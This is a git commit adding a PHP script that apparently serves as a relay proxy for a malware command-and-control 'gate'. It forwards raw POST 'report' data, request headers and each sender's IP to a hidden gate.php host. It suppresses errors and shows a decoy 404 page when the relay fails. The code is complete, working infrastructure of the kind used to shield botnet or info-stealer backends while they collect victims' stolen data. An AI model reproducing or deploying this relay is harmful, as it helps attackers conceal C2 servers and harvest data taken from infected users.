initial commit

2026-08-27 11:22:04 -06:00
commit 4f806d9680
640 changed files with 63855 additions and 0 deletions
@@ -0,0 +1,162 @@
+<?php
+
+$redirect_url = "http://192.168.1.101/gate.php"; // redirect URL (should point to the gate script)
+
+
+
+
+
+
+// -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
+
+error_reporting(0);
+set_time_limit(0);
+ini_set('max_execution_time', 0);
+
+// check if curl is installed
+$loaded_extensions = get_loaded_extensions();
+
+if (array_search('curl', $loaded_extensions) === false)
+   die();
+
+// check if data was received in full
+$real_length = intval($_SERVER['CONTENT_LENGTH']);
+$received_report_data = file_get_contents('php://input');
+
+if ($real_length !== strlen($received_report_data))
+   die();
+
+// extract host from redirect url
+if (substr($redirect_url, 0, 4) != 'http')
+   $redirect_url = 'http://'.$redirect_url;
+
+$redirect_host = @parse_url($redirect_url, PHP_URL_HOST);
+
+function my_upload($ch, $fp, $len)
+{
+   static $pos=0; // keep track of position
+   $post_data = file_get_contents('php://input');
+
+   $data = substr($post_data, $pos, $len);
+   $pos += strlen($data);
+   return $data;
+}
+
+function curl_load($url, &$data, $headers)
+{
+   clearstatcache();
+
+   $return = false;
+   $url = trim($url);
+
+   if (substr($url, 0, 4) != 'http') $url = 'http://'.$url;
+
+   $ch = curl_init($url);
+   
+   if (!$ch)
+      return false;
+   
+   curl_setopt($ch, CURLOPT_HEADER, true);
+   curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
+   curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15);
+   curl_setopt($ch, CURLOPT_TIMEOUT, 60);
+   curl_setopt($ch, CURLOPT_FAILONERROR, true);
+   curl_setopt($ch, CURLOPT_FRESH_CONNECT, true);
+   curl_setopt($ch, CURLOPT_DNS_USE_GLOBAL_CACHE, false);
+   curl_setopt($ch, CURLOPT_POST, true);
+
+   array_push($headers, 'Accept-Encoding: identity, *;q=0');
+   curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
+
+   $post_data = file_get_contents('php://input');
+   if (strlen($post_data))
+   {
+      curl_setopt($ch, CURLOPT_READFUNCTION, 'my_upload');
+   }
+
+   $curl_execute_result = @curl_exec($ch);
+
+   // Check if any error occurred
+   if (!curl_errno($ch))
+   {
+      $data = $curl_execute_result;
+      $return = true;
+   } else 
+   {
+      $data = '';
+      $return = false;
+   }
+   curl_close($ch);
+
+   return $return;
+}
+
+function parse_lines($value)
+{
+   return preg_split("/((\r(?!\n))|((?<!\r)\n)|(\r\n))/", $value);
+}
+
+$original_query = trim(@parse_url($redirect_url, PHP_URL_QUERY));
+
+if (!strlen($original_query))
+   $query_string = '?';
+else
+   $query_string = '&';
+
+$query_string .= $_SERVER['QUERY_STRING'];
+$query_string .= '&pass_ip='.$_SERVER['REMOTE_ADDR'];
+
+$data = '';
+$headers = getallheaders();
+$curl_headers_array = array();
+
+foreach ($headers as $name=>$value)
+{
+   if (strtolower($name) == 'accept-encoding' || strtolower($name) == 'connection')
+   {
+   }
+   elseif (strtolower($name) == 'host')
+   {
+      array_push($curl_headers_array, $name.': '.$redirect_host);
+   } else
+   {
+      array_push($curl_headers_array, $name.': '.$value);
+   }
+}
+
+if (!curl_load($redirect_url.$query_string, $data, $curl_headers_array))
+{
+   header("HTTP/1.0 404 Not Found");
+   header("Status: 404 Not Found");
+   $_SERVER['REDIRECT_STATUS'] = 404;
+   if (file_exists('404.html'))
+      echo file_get_contents('404.html');
+   die();
+}
+
+$headers_end_pos = strpos($data, "\r\n\r\n");
+$data_start_pos = $headers_end_pos+4;
+if ($headers_end_pos === false)
+{
+   $headers_end_pos = strpos($data, "\n\n");
+   $data_start_pos = $headers_end_pos+2;
+}
+
+if ($headers_end_pos !== false)
+{
+   $lines = parse_lines(substr($data, 0, $headers_end_pos));
+   foreach ($lines as $line)
+   {
+      // do not pass "Transfer-Encoding: chunked" header
+      if (stripos($line, 'Transfer-Encoding') === false)
+      {
+         header($line."\r\n");
+      }
+   }
+
+   die(substr($data, $data_start_pos));
+} else
+{
+   die($data);
+}
+